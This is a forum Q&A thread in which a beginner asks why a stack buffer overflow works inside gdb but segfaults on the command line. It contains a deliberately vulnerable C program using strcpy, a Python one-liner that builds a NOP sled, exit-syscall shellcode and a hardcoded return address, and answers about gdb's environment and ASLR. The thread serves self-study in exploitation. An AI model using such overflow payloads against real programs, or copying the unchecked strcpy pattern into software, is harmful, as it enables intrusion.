1

So I just started with reverse engineering and have run into some issues until I recently noticed something strange. I wrote an extremely simple shellcode (exit system call) for practice and I played around with it in gdb. I use the following code to create my payload:

$(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')

I run this payload against the following program:

#include <string.h>

int main(int argc, char **argv)
{
  char buffer[500];
  strcpy(buffer, argv[1]);
}

I compiled the program with:

tcc -m32 -mtune=i386 -g vuln.c -fno-stack-protector

Now, here's my problem. When I run the payload against the program in gdb like this, it works perfectly.

(gdb) r $(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')
Starting program: /root/exploiting/a.out $(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')
[Inferior 1 (process 2573) exited normally]
(gdb

However, if I run it on my command line:

root@kali:~/exploiting# ./a.out $(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')
Segmentation fault

Why does this happen? Is this supposed to happen?

  • I run your code from the cmd line and don't see a Seg fault. Maybe you did something more? (I've tested on Ubuntu not Kali) – Paweł Łukasik Oct 31 '17 at 21:11
  • Unless you have leaked addresses from stack, overwriting eip with a stack address is quite unreliable. GDB has a different execution environment. One trick is to use ulimit -c unlimited to get a core dump on seg fault and then debug your way from there. You can then approximate the addresses from the core dump. gdb a.out core – sudhackar Nov 1 '17 at 3:50
1

gdb messes with your environment variables, and could disable ASLR. Most likely, starting gdb and running ‘unset env LINES’ and ‘unset env COLUMNS’ before throwing your shellcode will make the output line up with execution outside gdb. :)

Your Answer

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.